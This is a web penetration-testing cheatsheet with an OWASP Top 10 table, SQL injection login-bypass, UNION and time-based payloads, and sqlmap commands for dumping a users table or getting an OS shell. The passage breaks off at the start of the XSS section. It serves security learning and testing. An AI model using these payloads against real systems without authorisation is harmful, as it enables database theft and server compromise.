# Web Application Security Cheatsheet
Quick reference for web application penetration testing, OWASP vulnerabilities, and common attack techniques.
## OWASP Top 10 (2021)
| # | Category | Description |
|---|----------|-------------|
| A01 | Broken Access Control | IDOR, privilege escalation, directory traversal |
| A02 | Cryptographic Failures | Weak encryption, sensitive data exposure |
| A03 | Injection | SQLi, XSS, command injection, LDAP injection |
| A04 | Insecure Design | Missing security controls, flawed architecture |
| A05 | Security Misconfiguration | Default creds, verbose errors, XXE |
| A06 | Vulnerable Components | Outdated libraries, unpatched dependencies |
| A07 | Authentication Failures | Weak passwords, session fixation, brute force |
| A08 | Software/Data Integrity | Insecure deserialization, unsigned updates |
| A09 | Logging Failures | Missing audit trails, no alerting |
| A10 | SSRF | Server-side request forgery |
---
## SQL Injection
### Detection
```
# Test characters
'
"
#
--
;
```
### Login Bypass
```sql
' OR 1=1--
' OR 1=1#
admin'--
admin'#
' OR '1'='1
" OR "1"="1
1' or '1' = '1
1" or "1" = "1
```
### Union-Based
```sql
' UNION SELECT 1,2,3--
' UNION SELECT null,null,null--
' UNION SELECT username,password FROM users--
```
### Blind SQLi (Time-Based)
```sql
' AND SLEEP(5)--
' WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
```
### SQLMap
```bash
# Basic scan
sqlmap -u "http://target.com/page?id=1" --batch
# With POST data
sqlmap -u "http://target.com/login" --data "user=admin&pass=test" --batch
# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs
# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
# Common options
--random-agent # Random user agent
--level=5 # Increase test level
--risk=3 # Increase risk level
--threads=10 # Parallel requests
--os-shell # OS shell if possible
```
---
## Cross-Site Scripting (XSS)
### Types
- **Reflected**: Input immediately returned in response
- **Stored**: Payload saved and executed for other users
- **DOM-based**: Client-side JavaScript processes malicious input
### Basic Payloads
```html